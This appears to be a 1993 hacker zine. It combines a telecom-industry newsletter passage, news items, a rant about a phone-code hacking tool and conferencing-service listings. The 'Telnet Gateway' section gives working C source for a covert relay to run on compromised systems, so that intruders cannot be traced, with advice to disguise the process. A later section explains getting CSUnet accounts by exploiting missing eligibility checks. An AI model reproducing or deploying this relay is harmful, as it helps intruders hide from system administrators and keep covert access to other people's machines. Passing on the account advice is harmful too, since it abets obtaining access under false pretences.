|
networking including the use of a database to process 800 calls (the
|
|
Weber patent). Under the terms and conditions of the divestiture
|
|
agreement (the MFJ), the RBOCs can use any AT&T patents issued through
|
|
January 1, 1989, but no one else can without a licensing agreement.
|
|
AT&T has notified the FCC that it will not claim infringement if a
|
|
carrier (IXC) purchases or interacts with the 800 portability
|
|
database. But, AT&T also states that there may be a Weber patent
|
|
violation if a carrier operates such a database in its own network.
|
|
|
|
The bottom line (another prediction): AT&T can and may choose to make
|
|
its competitors lives a patent litigation nightmare on everything from
|
|
enhanced 800 to personal communications services if they want to, and
|
|
I think they want to. At a minimum, any revenues AT&T loses in the 800
|
|
marketplace from number portability will be made up by patent license
|
|
royalty fees. Stay tuned in 1993.
|
|
|
|
6. VIDEO DIAL TONE
|
|
In October, 1991, the FCC issued a Notice of Proposed Rule Making on
|
|
video dial tone which they approved in July 1992. Here's some
|
|
background: the FCC informed the RBOCs they could provide video to the
|
|
home as common carriers, but they couldn't own more than 5 percent of
|
|
an information product or be a program packager (i.e., editor).
|
|
TeleStrategies' view of this opportunity is that the RBOCs should
|
|
forget going solo; instead, they should partner rather than compete
|
|
with the cable industry. Our 1993 assessment: video dial tone is a
|
|
loser for the RBOCs.
|
|
|
|
Who can win? Small entrepreneurs. Here's how: the RBOCs seem to want
|
|
the perception in the industry that they are video players. Under
|
|
today's rules, they need video packagers as partners. The big cable
|
|
operators won't play, so you, as a private or wireless cable TV
|
|
operator or even a second cable operator in a market, can fill the
|
|
gaps. Structure a deal in which the RBOCs provide the fiber
|
|
infrastructure, and tariff or price it to you under the video dial
|
|
tone umbrella (You pay for service incrementally rather than pay the
|
|
fully allocated cost of infrastructure.). Of course, you have to give
|
|
them a buy-out option when they get permission to get into real cable
|
|
TV service. RBOCs need video players and small entrepreneurs can play
|
|
that role in 1993.
|
|
|
|
7. INTRALATA TOLL
|
|
Last year we said that nothing would happen in intraLATA toll
|
|
competition regarding 1+ presubscription. Well, we were right. Only
|
|
one state (North Dakota) has moved ahead with it. This year won't be
|
|
much different. Although nearly 40 states permit 10XXX intraLATA
|
|
competition, the IXCs haven't touched it. Only MCI has mildly pushed
|
|
for 1+.
|
|
|
|
Why? The IXCs are not really ready to explain in a marketing campaign
|
|
to the general public what a LATA is, the state PUCs aren't
|
|
comfortable with the revenue loss the RBOCs would suffer and the RBOCs
|
|
(conveniently) aren't ready with their switches to handle 1+,
|
|
intraLATA presubscription. (They want to wait and have this done via
|
|
AIN -- see number 9 below.)
|
|
|
|
But who can win an intraLATA role? Resellers. The cost of a 100- mile
|
|
intraLATA toll call can typically cost two to three times that of a
|
|
coast-to-coast call or 25 cents to 50 cents more per minute. These
|
|
margins aren't "plump," they're obese. The good news is that a lot of
|
|
states permit intraLATA resale. Regardless, if you are a small
|
|
carrier, most states don't police intraLATA where customers have
|
|
direct access to your switch.
|
|
|
|
8. SCREEN PHONES
|
|
Last year we predicted that screen phones coupled with CLASS (Custom
|
|
Local Area Signalling Services) would be a marketplace winner in 1992.
|
|
We still believe they will be a winner, but screen phones only made it
|
|
to the market field-trial stage last year. The problem is finalization
|
|
of standards and Bellcore expects this to be completed this month.
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|
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In case you haven't been tracking this opportunity, a screen phone is
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about 1.5 times the size of a regular phone; it has a display that
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ranges from three to four lines of text to 4"x4". It has an additional
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four control buttons and some have more soft key options. When coupled
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with CLASS, you have a very powerful networking capability that
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requires only the same skill level needed to operate your bank's ATM.
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Who's going to win in 1993? LECs with CLASS service and equipment
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vendors with simple screen terminals (like Northern Telecom's Display
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Phone with a projected roll out price of less than $200). Who's going
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to lose? LECs without CLASS services and terminal vendors who make
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their products too hard to use -- if an eight year old can't use it,
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forget it.
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9. AIN
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Excitement remains for the Advanced Intelligent Network (AIN) concept,
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particularly within the computer industry. Briefly, AIN permits new
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service development to occur outside the CO's computer, thus speeding
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up service delivery (months vs. years). It permits the use of
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high-power, low-cost workstations and many custom databases holding
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end-user information.
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AIN remains a great concept but the RBOCs aren't ready to pull it off.
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It's going to take a massive investment, a vision of what business
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they want to be in and joint venturing with current competitors (cable
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TV, ALTS, cellular companies, etc.)
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Who else is positioned for success in AIN? MCI, Sprint and AT&T. All
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have focused in on the future of telephony -- that means PCS and
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personal phone numbers -- and all possess some unique resources to
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pull it off.
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MCI and AIN: MCI has focused on an infrastructure and has, relatively
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speaking, outstanding operational support systems (OSS), including
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billing. How do you think they pulled off the "Friends and Family"
|
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program?! They have also emerged as an innovator structuring an
|
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industry consensus for PCS licensing. (Three national licenses held
|
|
by consortia, no one player dominates, no local spectrum license if
|
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you operate a cellular system and demerits in the application process
|
|
for major, regulated LEC involvement in the consortium.) Also, they
|
|
are pushing early for end-user number portability. This is a viable
|
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PCS/AIN approach.
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Sprint and AIN: Sprint has it all in some areas regarding full
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services -- long distance, cellular (the Centel merger) and local
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(United) service. If they selectively go after AIN in markets where
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they have all three forces, it's going to be a good PCS/AIN approach.
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AT&T: AT&T has it all and more, too. It is the largest long distance
|
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carrier, telecom manufacturer and has an option to control the largest
|
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cellular carrier, McCaw. I'll bet AT&T is currently modifying its 4
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and 5 ESS's to come up with a super AIN/PCS/cellular/cable TV
|
|
switching network. If they focus on AIN/PCS they, too will be uniquely
|
|
positioned. Also, you can expect to see AT&T protecting its
|
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intelligent network patents in 1993 (I know I said that before.) and
|
|
you can't get into AIN without violating their string of patents if
|
|
they stand up to tests in the courts. After the advent of 800 number
|
|
portability, AT&T will have dropped a lot of monopoly baggage, so stay
|
|
tuned. Finally, there's one thing that will be facing all three major
|
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IXCs -- numbers. Once numbering issues are resolved (See
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TeleStrategies Insight, December 1992) and PCS spectrum is freed up,
|
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the industry will be ready to integrate PCS technology with AIN.
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In summary regarding AIN, 1993 should be spent molding AIN as PCS. If
|
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you don't have that focus, forget it. You will lose.
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10. ISDN
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Since our first and last conference on ISDN in December, 1986,
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TeleStrategies has consistently pegged this service as a loser. So no
|
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annual assessment of winners and losers would be complete without a
|
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discussion of ISDN.
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The only thing wrong with our categorizing ISDN as a loser is that CO
|
|
switch manufacturers have made a bundle using ISDN hype to sell
|
|
switches and software upgrades. Also, exhibit-based trade show
|
|
producers have made a bundle from renting floor space to the RBOCs for
|
|
their giant booths. (To these vendors, ISDN means I See Dollars Now.)
|
|
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OK -- for the thousandth time -- why is ISDN a loser? It provides no
|
|
near-term customer benefits. Sure, it's elegant and there are market
|
|
niches such as digital networking to Europe, DoD encrypted voice, etc.
|
|
But there is no "silver bullet" application to justify the cost.
|
|
Residential users or small business users can expect to invest
|
|
thousands of dollars to start up with ISDN (if they have to start from
|
|
scratch, i.e., they don't already own a $10,000 high-end workstation).
|
|
And what could you get today with ISDN? Nothing! To these folks, ISDN
|
|
means It Still Does Nothing or It Sends Data Nowhere. Regarding big
|
|
business, private T-1 networks is where the action is today and
|
|
ATM/SONET will be the focus of 1993 planning. Again ISDN makes no
|
|
sense in this environment of intra-company data. Regarding
|
|
inter-company data applications, the only significant market today is
|
|
Internet access, and again (See #1 -- ATM/SONET) users expect "free"
|
|
service. So if you want to spend three years or more of your career
|
|
waiting for something to happen in ISDN, you've found a winner.
|
|
Otherwise, ISDN is a loser.
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All of us at TeleStrategies wish you and yours a happy, healthy and
|
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prosperous 1993. Get out there and pick or stay with a winner!
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If you have comments about this article, please contact Lynn Stern,
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Editor of TeleStrategies Insight, by email (lynn@telestrat.com) or by
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phone (703-734-7050).
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About TeleStrategies, Inc. and TeleStrategies Insight
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Founded in 1980 by Dr. Jerry Lucas, TeleStrategies, Inc. is the
|
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leading producer of telecommunications industry conferences, seminars
|
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and trade shows in the U.S. Every year the company sponsors
|
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approximately 60 programs, which attract decision makers from every
|
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segment of the telecommunications industry.
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TeleStrategies Insight is the company's monthly newsletter on
|
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telecommunications industry directions and opportunities. For a FREE
|
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subscription and/or a current conference schedule, send an email to
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insight@telestrat.com or call TeleStrategies at (703-734-7050).
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--
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Peter Decker - Communication Networks, RWTH Aachen (University),
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Kopernikusstr. 16, D-5100 Aachen, Germany
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e-mail - dec@dfv.rwth-aachen.de ,Telephone: +49-241-807916
|
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(DG1KPD) Telefax: +49-241-84964
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Broadband Unveils New System
|
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~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
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BroadBand Technologies Inc. announced what it says is a
|
|
technology and cost breakthrough. It will enable phone companies
|
|
to deliver 1,500 interactive video channels on demand at a cost to
|
|
them of less than $500 per customer. That will give phone firms an
|
|
advantage over the cable industry in the race to build a national
|
|
information network, said Broad Band CEO Salim A.L. Bhatia.
|
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|
AT&T, UNITEL To Offer Service
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
AT&T and Unitel Communications Inc., will begin the controlled
|
|
introduction of an advanced virtual network service for
|
|
multinational customers in the USA and Canada during the third
|
|
quarter. The AT&T Software Defined Network to Canada service will
|
|
offer uniform voice and data telecommunications across the border,
|
|
as well as within the two countries.
|
|
|
|
Minn. Majority Leader Resigns
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
Minnesota State Rep. Alan Welle has resigned as House majority
|
|
leader after his son and nephew left taxpayers with a phone bill
|
|
that could reach $85,000. He said he knew they had swiped his
|
|
800-number for over a year but wanted to protect them.
|
|
|
|
Windows To Go With TV
|
|
~~~~~~~~~~~~~~~~~~~~~
|
|
Windows, the best-selling personal-computer software from
|
|
Microsoft, could soon be playing on a TV screens everywhere.
|
|
Microsoft, Intel and General Instrument, the nation's largest
|
|
supplier of cable television converters, are close to signing a
|
|
deal to build a converter box that basically turns TV sets into
|
|
personal computers. They should be ready by the end of the year.
|
|
|
|
System Uses 386 Chip
|
|
~~~~~~~~~~~~~~~~~~~~
|
|
New cable TV converters will contain Windows and Intel's 386
|
|
microprocessor chip. They use windows, which let people operate
|
|
computers by manipulating on-screen symbols with a cursor-control
|
|
device called a mouse. They will let a cable subscriber point a
|
|
wireless mouse at one of several symbols on the TV screen and
|
|
select a function such as movies, shop at home and computer games.
|
|
|
|
MCI's Phone Is Cheaper
|
|
~~~~~~~~~~~~~~~~~~~~~~
|
|
The MCI Videophone will cost $750, almost $250 less than its
|
|
chief rival, the AT&T Videophone 2500. And MCI is offering
|
|
consumers who buy its Videophone a 5-percent discount on the
|
|
purchase of a second videophone, a savings of $37.50.
|
|
|
|
Systems Aren't Compatible
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
Both the AT&T and MCI Videophones transmit color pictures that
|
|
show limited motion while allowing callers and listeners to
|
|
interact simultaneously. The video technology used in the MCI
|
|
version is not compatible with AT&T's product, although you can
|
|
still carry on a normal telephone conversation using the two
|
|
competing brands.
|
|
|
|
Videophone May Be Hard To Find
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
Another drawback with the MCI Videophone is availability. Jim
|
|
Folk, vice president of MCI's Videophone division, said the
|
|
company has no immediate plans to make its product available in
|
|
any retail outlets. "We haven't found an agreement that is
|
|
attractive enough," said Folk. "We think our phone is attractively
|
|
priced and that people who want a Videophone will make the right
|
|
choice."
|
|
|
|
MA Bell Busted
|
|
~~~~~~~~~~~~~~
|
|
Recently, Ma Bell (more specifically PacBell) was fined $65 million
|
|
for fraudulently charging customers for late bills. Apparently they
|
|
would process the sent bill late and would charge the customer late
|
|
fees if it happened to be after the billing date (even if the bill
|
|
was sent and received before this date). In repayment fines they
|
|
must refund and divide the fine amung its fraudulently billed customers.
|
|
|
|
(--------------------------------------------------------)
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|
|
Code Thief v5.1
|
|
by White Lightning
|
|
|
|
(--------------------------------------------------------)
|
|
|
|
Does the file name, THIEF5_1.ZIP, look familiar to you? If it does, don't be
|
|
taken by it. It is a feeble hack ATTEMPT of Code Thief v4.0, which was
|
|
originally written by Phortune 500. This is claimed to be written by Xanadu
|
|
Systems. Bullshit. Any k-rad 3l33t d00d can hex-edit an EXE file. Below, is
|
|
the ACTUAL screen you get when you quit the Code Thief v5.1 program. For those
|
|
who would like a copy, you can get it off of IRC via HackSrv, the rest of you,
|
|
look on your k-rad H/P boardz..
|
|
|
|
-------------------------------------------------------------------------------
|
|
|
|
Code Thief DELUXE By Xanadu Systems
|
|
Code Thief Revision 5.1
|
|
An Official Xanadu Product
|
|
|
|
|
|
Xanadu Systems, 221b, and The Organization:
|
|
|
|
Kane, Sventek, Chris Knight, Ramius, Cracker Jax, Wiseguy, Dr. Watson,
|
|
Tinman, L.A., HAl9000, and all the rest....
|
|
|
|
Call Xanadu International Services
|
|
6 0 8 - 8 3 6 - 1 4 5 8
|
|
Type JOSHUA at the # prompt
|
|
Get A Reply From Xanadu systems
|
|
In Most Cases Within Twenty Four Hours
|
|
|
|
- Thanks goes out to-
|
|
Terminus, 2AF, Peter King, Code Thief 1.x,2.x,3.0 Releases
|
|
The True Hackers Who Have Become Rare
|
|
|
|
-------------------------------------------------------------------------------
|
|
|
|
Ok, read that carefully. I especially like the line about, "- Thanks goes out
|
|
to-" It looks like they couldn't get a nice string to fit in that exact spot
|
|
when they hex'ed it. They could have at least spelled everything correctly.
|
|
This program does NOTHING new. All it is, is 4.0, with different strings.
|
|
|
|
READ THE LAST LINE OF THEIR SCREEN. "The True Hackers Who Have Become Rare"
|
|
They should speak. It requires a lot of time and patience to create a program
|
|
like Code Thief, and they go in, hex it, and have "Their" program within 15
|
|
minutes. Ha.
|
|
|
|
My messages to Xanadu Systems Hex-Editors:
|
|
- First of all learn how to spell. Next, learn proper English. Third, learn
|
|
- how to fucking program your own code. Show me something that YOU create,
|
|
- and we'll see how good you guys are.
|
|
|
|
(--------------------------------------------------------)
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|
|
Audioconferencing Services
|
|
by Arkimage/Chaos
|
|
|
|
(--------------------------------------------------------)
|
|
|
|
Key:
|
|
M = Meet-Me available.
|
|
O = Operator intervention on meet-me.
|
|
G = Audio-graphics bridging.
|
|
T = Tape of conference available.
|
|
C = Call-out capability.
|
|
|
|
Supplier/Product/Price M O G T C Special Features/Reservation Number
|
|
------------------------|-|-|-|-|-|---------------------------------------------
|
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|
|
American Tele-
|
|
Conferencing Svcs. Ltd.
|
|
Teleconferencing Srvc. X X X X X Variety of conference call service levels to
|
|
$10 to $20/hour/port fit clients' needs and budget. Custom srvc
|
|
(Voice & Data) for press conferences, investor relation
|
|
calls, audio for video conferences.
|
|
Speakerphones and microphones available for
|
|
rent/purchase. Reservations 800-776-0700.
|
|
|
|
AT&T
|
|
Alliance Teleconference X X X X Dialup audio service on 700-456-1000; dialup
|
|
$.25/min./port + toll graphics on 700-456-2000. Reservations and
|
|
$35 one-time for meetme Meet-Me operator assistance 800-544-6363.
|
|
|
|
Operator-Assisted X AT&T now handles most operator-assisted
|
|
$9/port + toll conference calls that were formerly from
|
|
local BOCs. Reservations 800-225-0233.
|
|
|
|
Bell Canada/Telecom Can.
|
|
TeleForum X X Call-out is handled by customer interaction
|
|
Rate levels vary with with the bridge. Service available as meet-
|
|
member companies. me, dial-out, or a combination. Operator-
|
|
handled calling service also available.
|
|
Call 613-781-7942 for more information.
|
|
|
|
Call Points
|
|
Call Points X X X X X Volume discounts are available on rates.
|
|
$.32/min./port call-out Uses Ropir Industries bridges. Reservations
|
|
$.20/min./port meet-me 800-255-5661.
|
|
|
|
The Campus Group Company
|
|
Audio Conferencing X X X X X Will ship equipment overnight to conference
|
|
Service sites; provides on-site support, conference
|
|
coordination services.
|
|
Call 914-961-1900 for more information.
|
|
|
|
ConferTech Canada, Inc.
|
|
ConferCall X X X X X Services in Toronto, Montreal.
|
|
$.38/min./port (V&D) Call 416-622-8200 for more information.
|
|
|
|
ConferTech International
|
|
ConferCall X X X X X Bridges are the ConferTech Tempo MBX and
|
|
$.38/min./port (V&D) Allegro; purchase credit option available.
|
|
Reservations 800-252-5150 or 303-232-2822.
|
|
Call for service locations.
|
|
|
|
Connex International Inc
|
|
Teleconferencing Serv. X X X X X 24-hour service; free speakerphone check;
|
|
$20/hour/port/voice round-table discussions at customer request.
|
|
$12/hour/port/data Operator online for any assistance needed;
|
|
specialized training; free phone consulting;
|
|
customer assistance lines. Reservations call
|
|
800-243-9430 or 203-797-9060.
|
|
|
|
Darome Teleconferencing
|
|
The Darome Connection X X X X X Operator on-line for any assistance needed;
|
|
$21/hour/port/voice specialized training. Nine US locations; two
|
|
Data quoted separately international. Call Darome for the nearest
|
|
location at 312-380-4109.
|
|
|
|
DeraCom
|
|
DeraCom Conf. Service X X X X X 24 hours/day, 7 days/week service. Houses
|
|
$15/hour/port oper asst ALLIANCE bridges. Conferences on demand or
|
|
$20/hour/port meet-me by reservation. Conferences billed by
|
|
fraction of a minute; no cancellation charge
|
|
Billed by number of ports connceted, not
|
|
number reserved. Blast up available.
|
|
Reservations 800-835-2663 in North America,
|
|
609-896-8185 overseas. Also has 800 Meet-me.
|
|
|
|
Local BOCs
|
|
Operator-Assisted conf. Not all BOCs offer this service. See listing
|
|
calls under AT&T.
|
|
Person-to-person rates
|
|
|
|
Logical Communications
|
|
Teleconferencing Netwk X X X X X Reservations 800-422-0016.
|
|
|
|
Market Navigation Inc.
|
|
Teleconference Network X X X X Price breaks at various conference sizes;
|
|
$12/hour/port overrun charge. Uses Ropir Industries AXIS
|
|
bridge. Reserv 800-835-6338 or 914-365-0123.
|
|
|
|
MCI
|
|
MCI Forum X X X X $.75 in Canada. Plus a one-time charge of
|
|
Base fee $6/location, $35 per 800 number. Volume discounts avail.
|
|
$.35/min./loc dial-out Operator assistance is available at any time
|
|
$.45/min./loc peraonsl by pressing 0. Reservations 800-475-4700, or
|
|
800 meet-me 800-782-1300 (Fax).
|
|
|
|
Prefered Communications
|
|
Customized Conference X X X X X 800 Dial-in includes toll. Access to variety
|
|
Calling of bridging techniques to meet customers'
|
|
$.42/min./loc dial-out needs; operator monitored on request, no
|
|
$.42/min./loc 800 extra fee. On-demand and standing reservs;
|
|
dial-in 24-hour service. Specializes in last-minute
|
|
$.25/min./loc meet-me conference calls. Telephone consultation
|
|
free of charge. Reservations 800-225-5487.
|
|
|
|
Southern New England Tel
|
|
SNET Conference Calling X X X X X Access to 270-port, highly interactive, full
|
|
$.65/min./port dial-out duplex bridging service to facilitate
|
|
$.40/min./port meet-me transmission of voice and data for business
|
|
$.65/min./port 800 meet or residential customers. No set-up fee or
|
|
Combinations of above hidden charges. Reservations 800-448-2557.
|
|
available.
|
|
|
|
Sprint Conferencing
|
|
Sprint Conference Line X X X X X Full-featured audioconferencing service
|
|
$3/caller + $.24/min. offering domestic and international dial-in,
|
|
dial-in, $3/caller + dial-out, and combination capability.
|
|
$.44/min. dial-out or Conference Fax is also available for
|
|
800 dial-in service distributing information to participants.
|
|
Reservations 800-366-2663.
|
|
|
|
Additional Company's by CHA0S
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
The following are some additional conferencing company's of which
|
|
information has not yet been gathered on :
|
|
|
|
Compunetix Conference Call 1-800-967-4633
|
|
A Business Conference Call 1-800-448-9410
|
|
Access Conference Call Service 1-800-777-1826
|
|
Conference Call Service 1-800-272-5663
|
|
Darome Conference Calling Services 1-800-327-6639
|
|
LDB International Corporation 1-800-848-4851
|
|
A Noble Inc 1-800-433-5583
|
|
ACT 1-800-228-3719
|
|
Centerpoint Communications 503-222-4656
|
|
Conference Call USA 503-223-0055
|
|
Conference Plus International 1-800-522-3377
|
|
Protecom 912-471-1177
|
|
Actel 912-929-5317
|
|
Conference Card [Related to MCI?] 1-800-475-5200
|
|
InterCall 1-800-374-2440
|
|
Scherers Communications 1-800-356-6161
|
|
Schneider Communications 1-800-236-0036
|
|
|
|
(--------------------------------------------------------)
|
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|
|
Telnet Gateway
|
|
by Chaos
|
|
|
|
(--------------------------------------------------------)
|
|
|
|
Ever worry about some egotistical sysadmin getting pissed off
|
|
when you hack his system, and having him trace it back to your
|
|
local system? If you are like most hackers, even if you are
|
|
careful and telnet through another system first, it is still fairly
|
|
easy to trace back through. Using the following program bellow you
|
|
can make it a real bitch for anyone to find where you are coming
|
|
from, let alone what account. This program, which has only been
|
|
tested on Sun OS, will allocate a port and set up a telnet gateway.
|
|
Because this program only allocates a socket, in order for someone
|
|
to trace it back to you, the sysadmin of the system it is set up on
|
|
would have to monitor the socket and see where the connection is
|
|
coming from, which is not very likely, the sysadmin already has
|
|
plenty to do. This is setup currently to port 6969 and will run in
|
|
the background. Be sure to call it something that will not gather
|
|
any suspicion from anyone running ps -aux. This will also write to
|
|
the file log, the date and time anyone uses the telnet gateway.
|
|
Have phun!
|
|
|
|
Thanks go out to al- for the original source code.
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--------------------cut here--------------------
|
|
#include <sys/fcntl.h>
|
|
#include <stdio.h>
|
|
#include <ctype.h>
|
|
#include <sys/wait.h>
|
|
#include <stdlib.h>
|
|
#include <sys/types.h>
|
|
#include <sys/ioctl.h>
|
|
#include <sys/errno.h>
|
|
#include <sys/types.h>
|
|
#include <sys/socket.h>
|
|
#include <netinet/in.h>
|
|
#include <signal.h>
|
|
|
|
|
|
FILE *errfd;
|
|
|
|
static int serfd;
|
|
struct sockaddr_in addr;
|
|
char buffer[10][80];
|
|
int sockused[10];
|
|
int numports = 10;
|
|
int numproc=0;
|
|
|
|
died()
|
|
{
|
|
numproc--;
|
|
wait3(NULL,WNOHANG,NULL);
|
|
signal(SIGCLD,died);
|
|
return;
|
|
}
|
|
|
|
init_io()
|
|
{
|
|
|
|
signal(SIGCLD,died);
|
|
|
|
if ((serfd = socket(AF_INET,SOCK_STREAM,0)) <0 )
|
|
return(1);
|
|
|
|
|
|
addr.sin_family = AF_INET;
|
|
addr.sin_addr.s_addr = INADDR_ANY;
|
|
addr.sin_port = 6969;
|
|
|
|
|
|
if (bind(serfd,(struct sockaddr *)&addr, sizeof(addr)))
|
|
{
|
|
fprintf(errfd,"ioinit cannot bind socket\n");
|
|
exit(1);
|
|
}
|
|
|
|
if (listen(serfd,5) == -1)
|
|
{
|
|
fprintf(errfd,"ioinit cannot listen at socket\n");
|
|
return(1);
|
|
}
|
|
|
|
return(0);
|
|
}
|
|
|
|
|
|
getconnect()
|
|
{
|
|
int s,length;
|
|
struct sockaddr_in address;
|
|
|
|
while(1)
|
|
{
|
|
length= sizeof addr;
|
|
while ((s= accept(serfd,&address,&length))<0);
|
|
wait3(NULL,WNOHANG,NULL);
|
|
if (fork() == 0) /* child */
|
|
{
|
|
system("date >>log");
|
|
numproc++;
|
|
dup2(s,0);
|
|
dup2(s,1);
|
|
dup2(s,2);
|
|
close(s);
|
|
system("exec telnet");
|
|
kill(getpid(),SIGKILL);
|
|
|
|
close(0);
|
|
close(1);
|
|
close(2);
|
|
exit;
|
|
} /* end child */
|
|
|
|
close(s);
|
|
wait3(NULL,WNOHANG,NULL);
|
|
}
|
|
}
|
|
|
|
|
|
|
|
|
|
main()
|
|
{
|
|
int i;
|
|
char temp[80],*term;
|
|
int fd;
|
|
|
|
for(i=0;i<36;i++) close(i);
|
|
|
|
|
|
|
|
errfd=fopen("ERR","w");
|
|
if(errfd==NULL) return(-1);
|
|
setsid();
|
|
if(fork()!=0) return(-1);
|
|
init_io();
|
|
getconnect();
|
|
}
|
|
--------------------cut here--------------------
|
|
|
|
(--------------------------------------------------------)
|
|
|
|
Sprint Conference Line Info
|
|
by Chaos
|
|
|
|
(--------------------------------------------------------)
|
|
|
|
It's Simple!
|
|
Bring people together from all
|
|
over the globe with
|
|
Sprint Conference Line
|
|
|
|
It's easy. You can set up a conference call for up to 200
|
|
locations by calling our toll-free reservation line. A Sprint
|
|
Reservationalist will answer your questions and take the
|
|
information needed to arrange your conference. And you don't even
|
|
need to be a Sprint customer. Just dial 1-800-366-CONF(2663) [Gee
|
|
how nice of them] to set up your reservation.
|
|
|
|
It's flexible. You can add participants to the conference, fax
|
|
documents, play pre-recorded audio tapes, break into smaller groups
|
|
then rejoin the main conference if you wish, and have an audiotape
|
|
recording made of the conference. You tell us what you need and
|
|
we'll take care of the details.
|
|
|
|
Four ways to conference
|
|
DIAL-IN : Join the conference from any location just by
|
|
dialing into a pre-assigned phone number at the meeting time.
|
|
|
|
DIAL-OUT : At the designated meeting time, a Sprint Conference
|
|
Coordinator calls all participants at their location to join
|
|
the conference.
|
|
|
|
SPRINT CONFERENCE LINE 800 : A toll-free 800 number allows
|
|
participants to call from any location at the designated time.
|
|
[Duh no shit?]
|
|
|
|
COMBINATION CONFERENCE LINE : Create a mix of the three
|
|
conference types.
|
|
|
|
It's convenient. Arrage impromptu meetings or schedule regular
|
|
meetings up to six months in advance. We'll even provide advance
|
|
meeting notifications.
|
|
|
|
It's cost effective. Using Spring Conference Line requires no
|
|
start-up investments, no additional equipment or lines, no long-
|
|
term conference contracts and no hidden costs. Call 1-800-366-
|
|
CONF(2663) [Again? Maybe we should start counting] to find out
|
|
just how economical your conference call meeting can be.
|
|
|
|
It's powerful. Take advantage of one of the most powerful business
|
|
tools...letting people communicate directly with each other. It's
|
|
a sure way to increase productivity. Whether it's a sales group
|
|
sprea across the natuon or a hundred clients around the globe,
|
|
Sprint Conference Line can have a positive impact on your business.
|
|
|
|
Service Rates [Like We Care :) ]
|
|
|
|
Dial-Out Conferencing $.44/minute/location and
|
|
$3.00/location
|
|
Dial-In Conferencing $.24/minute/location and
|
|
$3.00/location ($30 MAX)
|
|
Dial-In 800 Conferencing $.44/minute/location and
|
|
$3.00/location ($30 MAX)
|
|
Combination Conferencing Each line is rated based on the type
|
|
of service provided.
|
|
|
|
Off-Peak
|
|
(7 pm - 6 am CST based on start-time)
|
|
|
|
Dial-Out Conferencing $.40/minute/location and
|
|
$1.00/location
|
|
Dial-In Conferencing $.20/minute/location (Per location
|
|
fee waived)
|
|
Dial-In 800 Conferencing $.40/minute/location (Per location
|
|
fee waived)
|
|
Combination Conferencing Each line is rated based on type of
|
|
service provided.
|
|
|
|
Standard Features
|
|
|
|
Music On Hold [Classical Shit] No Charge*
|
|
Roll Call No Charge*
|
|
Coordinator On Demand No Charge*
|
|
Full Time Conference Monitoring [NO!!] No Charge*
|
|
|
|
Optional Features
|
|
|
|
Conference Fax $1.00/page/location
|
|
Conference Tape Recording $10.00/tape
|
|
On-line Tape Playback $10.00/tape
|
|
Duplicate Tape Recording $5.00/tape
|
|
Advance Notification (Phone or Fax) $3.00/location
|
|
Conference Participant List No Charge*
|
|
Passsword Security No Charge*
|
|
Sub Conferencing No Charge*
|
|
|
|
(--------------------------------------------------------)
|
|
|
|
A Business Conference-Call, Inc.
|
|
by Chaos
|
|
|
|
(--------------------------------------------------------)
|
|
|
|
Service Rates
|
|
|
|
Meet-Me Conference : Participants dial in to a preassigned number
|
|
and out attendant connects them to your conference.
|
|
$.25/minute/line plus $3.00 setup/line
|
|
|
|
800 Meet-Me Conference : Participants dial in to a preassigned 800
|
|
number and out attendant connects them to your conference.
|
|
$.45/minute/line plus $3.00 setup/line
|
|
|
|
Dial-Out Conference : Out attendant dials out to participants and
|
|
connects them to your conference. $.25/minute/line plus $3.00
|
|
setup/line plus long distance charge
|
|
|
|
* Setup charge applies only to first 6 lines.
|
|
|
|
Long Distance Charges
|
|
|
|
$.20 minute/line within the continental U.S.
|
|
$.25 minute/line for Alaska and Hawaii
|
|
$.65 minute/line for Canada
|
|
* Standard rates for International calls
|
|
|
|
Features
|
|
* Automatic Level Control
|
|
There's no need to strain to hear quiet voices or be
|
|
surprised by loud ones. Automatic level control adjusts
|
|
the volume of each speaker to a comfortable level.
|
|
* Multi-Speaker Capability
|
|
Business teleconferencing that sounds at natural as a
|
|
face to face meeting. So conversational you may forget
|
|
you are on the phone.
|
|
* Immediate Speaker Detection
|
|
In natural dialogue speakers must be able to join the
|
|
conversation easily. Our new system acknowledges and
|
|
includes a new speaker so fast you won't even notice it.
|
|
* Network Noise Control
|
|
Speech and noise are digitally separated. Background
|
|
noise and echo are eliminated. This system reacts only
|
|
to the speakers voice. The result is crisp and clear
|
|
conversations.
|
|
|
|
(--------------------------------------------------------)
|
|
|
|
Access Internet in California
|
|
via CSUnet
|
|
|
|
by Chaos
|
|
|
|
(--------------------------------------------------------)
|
|
|
|
So you live in California, or you are simply looking for a
|
|
telnet site on internet. CSUnet offers FTP, telnet, and mail
|
|
services (along with a bunch of other worthless shit) to anyone who
|
|
qualifies under the following :
|
|
|
|
[1] California State University Profesor
|
|
[2] CSU Student
|
|
[3] California K-12 Student
|
|
|
|
If you live in California, you probobaly qualify under this.
|
|
The funny thing is, they do not verify this, although they
|
|
probobaly would be curious if you told them you lived out of state.
|
|
You ask, why would they have your address, well in order to get an
|
|
account they must MAIL YOU your account name and password.
|
|
Obtaining an account is very easy and only takes a minute. Follow
|
|
this process.
|
|
|
|
SWRL/Long Beach (310) 985-9540
|
|
Bakersfield (805) 664-0551
|
|
Chico (916) 894-3033
|
|
Dominguez Hills (310) 769-1892
|
|
Fresno (209) 278-7366
|
|
Fullerton (714) 526-0334
|
|
Hayward (510) 727-1841
|
|
Humboldt (707) 822-6205
|
|
Los Angeles (213) 225-6028
|
|
Mission Viejo (714) 364-9496
|
|
Northridge (818) 701-0478
|
|
Pomona (909) 595-3779
|
|
Sacramento (916) 737-0955
|
|
San Bernadino (909) 880-8833
|
|
San Diego (619) PRI-VATE * See Note
|
|
San Francisco (415) 333-1077
|
|
San Jose (408) 924-1054
|
|
San Luis Obispo (805) 549-9721
|
|
San Marcos (619) PRI-VATE * See Note
|
|
Sonoma (707) 664-8093
|
|
Stanislaus (209) 632-7522
|
|
Ventura (805) 643-6386
|
|
|
|
* Due to extensive use these numbers will not be published here.
|
|
If you are in dire need of these numbers please let me know and
|
|
I will consider it =).
|
|
|
|
Note : All Dialups have a max baud rate of 9600.
|
|
|
|
[1] Dial up a local dialup listed above.
|
|
|
|
CSUNET SWRL Pad/xx, Port: Pxx
|
|
fax: p(128,128),w(2,2),d(2400,2400)
|
|
com
|
|
Welcome to The California State University Network (CSUnet)
|
|
SWRL Pxx Port xx Apr 6, 1993 10:30
|
|
|
|
